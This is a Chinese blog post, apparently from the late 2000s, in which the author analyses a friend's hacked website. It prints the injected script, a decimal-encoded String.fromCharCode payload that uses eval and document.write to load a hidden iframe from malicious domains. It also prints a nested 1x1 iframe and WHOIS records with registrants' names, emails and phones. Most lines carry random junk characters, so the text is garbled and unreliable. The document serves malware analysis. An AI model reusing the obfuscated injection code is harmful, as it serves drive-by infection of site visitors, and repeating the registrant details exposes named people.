首发在我的博客里面，
"i&)+dr- , Ckc c http://www.areway.cn/?p=175 :7e*- ' gt{kjrTv& _CD~5EA: 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
WD5J2EePT
ETZf <script>t=’60,105,102,114,97,109,101,
7F<{ Qn 32,115,114,99,61,104,116,116,112,58,47,47,
G
;j1zs 102,114,101,101,46,117,45,117,117,117,46,99,
@*%3+ 9`yq 110,47,101,114,114,111,114,46,104,116,109,
?
AfThJc 32,119,105,100,116,104,61,49,48,48,32,104,
Po ?M TA 101,105,103,104,116,61,48,62,60,47,105,102,
N+&uR!:.C 114,97,109,101,62′;
n;Bb/Z!~ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Q68~D.V%r L0w6K0J4 <script>t=’60,105,102,114,97,109,101,32,115,
1UP
{j`-K| 114,99,61,104,116,116,112,58,47,47,102,114,
6_mi9_w 101,101,46,117,45,117,117,117,46,99,110,47,
h<9vm[ . 101,114,114,111,114,46,104,116,109,32,119,
w/@ZPBRo] 105,100,116,104,61,49,48,48,32,104,101,105,
n#!c!EfG 103,104,116,61,48,62,60,47,105,102,114,97,
}s,NM%oI 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
8}n< 3_ document.write(t);</script>
APu$t$dmm |5u~L#P <html xmlns=”
FjC GD4x1N http://www.w3.org/1999/xhtml rLTBBvV “>
\$ 9C1@B@ <head>
=.`\V] <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
7 @@g|l] <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
gvP-doA7W <title>首页 - 爱生活家庭网
N~/ 'EaO z;JV3) E 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
@]qP:h. 转换字符串后的大概内容是（谁点击后果自付）：
rHKO13WF <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
461g7R%r 8 063LWV 查询玉米u-uuu.cn的详细信息：
SkuR~ ! Domain Name: u-uuu.cn
Jrcb Jt ROID: 20070901s10001s64972306-cn
b1Vr>:sK47 Domain Status: ok
4,y7a=qf3 Registrant Organization: 王雷
l~J d>9DwY Registrant Name: 王雷
!Yof%%m$; Administrative Email:
czlovexs@126.com X>I3N ?5 Sponsoring Registrar: 北京万网志成科技有限公司
U["0B8 Name Server:ns.yovole.com
h$5[ 04.Q Name Server:ns1.yovole.com
U7 WYS8 Registration Date: 2007-09-01 17:54
y[N0P0r l: Expiration Date: 2008-09-01 17:54
E#!N8fQ 最后PING了一下地址 都没有什么….
kN=&" ,I"T 9k-^ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
!!\}-r^y% <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
@ }y. <script language=”javascript” src=”
HO x4FXPs http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script (dlp5:lQz
>
88HqP!m%P: 这个玉米应该有可能是木马作者的：
<::lfPP foafau.info的详细信息：
_X#R v2a Access to INFO WHOIS information is provided to assist persons in
L[<#>/NPy determining the contents of a domain name registration record in the
;6/WjUDw<| Afilias registry database. The data in this record is provided by
m>=DJ{KQ Afilias Limited for informational purposes only, and Afilias does not
SKC ;@? guarantee its accuracy. This service is intended only for query-based
J9lZ1 ,22 access. You agree that you will use this data only for lawful purposes
4iA F<|6s and that, under no circumstances will you use this data to: (a) allow,
:#:|:q.] enable, or otherwise support the transmission by e-mail, telephone, or
M pOU>\ facsimile of mass unsolicited, commercial advertising or solicitations
hs7!S+[.$$ to entities other than the data recipient’s own existing customers; or
N
sdpE?V (b) enable high volume, automated, electronic processes that send
g8O6
b queries or data to the systems of Registry Operator, a Registrar, or
@43 psq1 Afilias except as reasonably necessary to register domain names or
<,CrE5Pl modify existing registrations. All rights reserved. Afilias reserves
U: 8[% a the right to modify these terms at any time. By submitting this query,
t7b y OMC you agree to abide by this policy.
G*z\
^H Domain ID:D22418703-LRMS
'K4FS(q Domain Name:FOAFAU.INFO
hywcj\[ Created On:20-Nov-2007 16:05:42 UTC
TuQGF$n@ Last Updated On:20-Nov-2007 16:05:44 UTC
xM%4/QE + Expiration Date:20-Nov-2008 16:05:42 UTC
tp`1S+'~j Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
ROFZ*@CH< Status:CLIENT DELETE PROHIBITED
.D@J\<,+l Status:CLIENT RENEW PROHIBITED
4Ly>x>b < Status:CLIENT TRANSFER PROHIBITED
>'4A[$$4mM Status:CLIENT UPDATE PROHIBITED
Ki><~! L Status:TRANSFER PROHIBITED
r
w!jmvHE& Registrant ID:GODA-040110615
ZWkRoJX Ni Registrant Name:liu hong
3(c-o0M Registrant Organization:
`,]Bs*~ Registrant Street1:beijing
CH 6 m Registrant Street2:
1<ag=D`F_" Registrant Street3:
^+x?@$rq Registrant City:beijing
^fsMfB Registrant State/Province:
6*i ** Registrant Postal Code:100000
G _cJI Registrant Country:CN
F *P0=DD Registrant Phone:+86.860108888777
X +!+&RAN* Registrant Phone Ext.:
JmCMF q B9 Registrant FAX:
DFMpU.BN W Registrant FAX Ext.:
uzdPA'u Registrant Email:bbbshiji@163.com
T^ktfg Xq Admin ID:GODA-240110615
:)#;0o5 Admin Name:liu hong
g-qXS]y7 Admin Organization:
>NUbk9}J4 Admin Street1:beijing
i}vJI}S.$ Admin Street2:
f\_RW;y|m Admin Street3:
B@F@,? K4% Admin City:beijing
FJeh=\ Admin State/Province:
@jn&Wf? Admin Postal Code:100000
m?kiGC&m Admin Country:CN
AM- bs^ Admin Phone:+86.860108888777
uG\~Hxqw7O Admin Phone Ext.:
*I 1 H Admin FAX:
y?OP- 27y Admin FAX Ext.:
\:;M FG' Admin Email:bbbshiji@163.com
irQ'Rm [ Billing ID:GODA-340110615
J Y Billing Name:liu hong
~/G)z?+E Billing Organization:
`=Ip>7T& Billing Street1:beijing
)'kpO> _G Billing Street2:
_V$'nz#>e Billing Street3:
E7$&:xqx Billing City:beijing
[[|#} D:L Billing State/Province:
V}V->j* Billing Postal Code:100000
9 w-\K] Billing Country:CN
*s4|'KS2o Billing Phone:+86.860108888777
2u$-( JfoS Billing Phone Ext.:
,)`_?^ \$f Billing FAX:
%}@iz(*}> Billing FAX Ext.:
vh\ i ^ Billing Email:bbbshiji@163.com
Ic(qA {SM Tech ID:GODA-140110615
`O6#-<> Tech Name:liu hong
F;Q,cg M Tech Organization:
FW-I|kK. Tech Street1:beijing
J];S j Tech Street2:
akv i^]x Tech Street3:
-+E.I*st Tech City:beijing
^xHKoOTj[ Tech State/Province:
IWE([<i}i[ Tech Postal Code:100000
mI8EeM a{ Tech Country:CN
`Na()r$T Tech Phone:+86.860108888777
( eKgc Tech Phone Ext.:
aMI;; iL^ Tech FAX:
L hO\a Tech FAX Ext.:
3%*igpj\) Tech Email:bbbshiji@163.com
z 3a GK Name Server:NS27.DOMAINCONTROL.COM
%"`p&aE : Name Server:NS28.DOMAINCONTROL.COM
j t}Re, Name Server:
7.29' Name Server:
FQ>$Ps*a[ Name Server:
]ogifnwv Name Server:
:$D*ab^^P Name Server:
ehW [LRtq Name Server:
qcs)
p Name Server:
_UV pQ5pN Name Server:
8C{&i5kj\E Name Server:
UPH#~D! Name Server:
.,u>WIUxj Name Server:
_%Z.Re 5az%yS 接着下载每个文件里面的代码：
KSs1EmB 一步一步看..
)|*Qs${tF 
d 7^
` 
v_zt $bf{Y 
q=3>ij {v 
c+l1 l0BA 
ZuGSR GX' 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
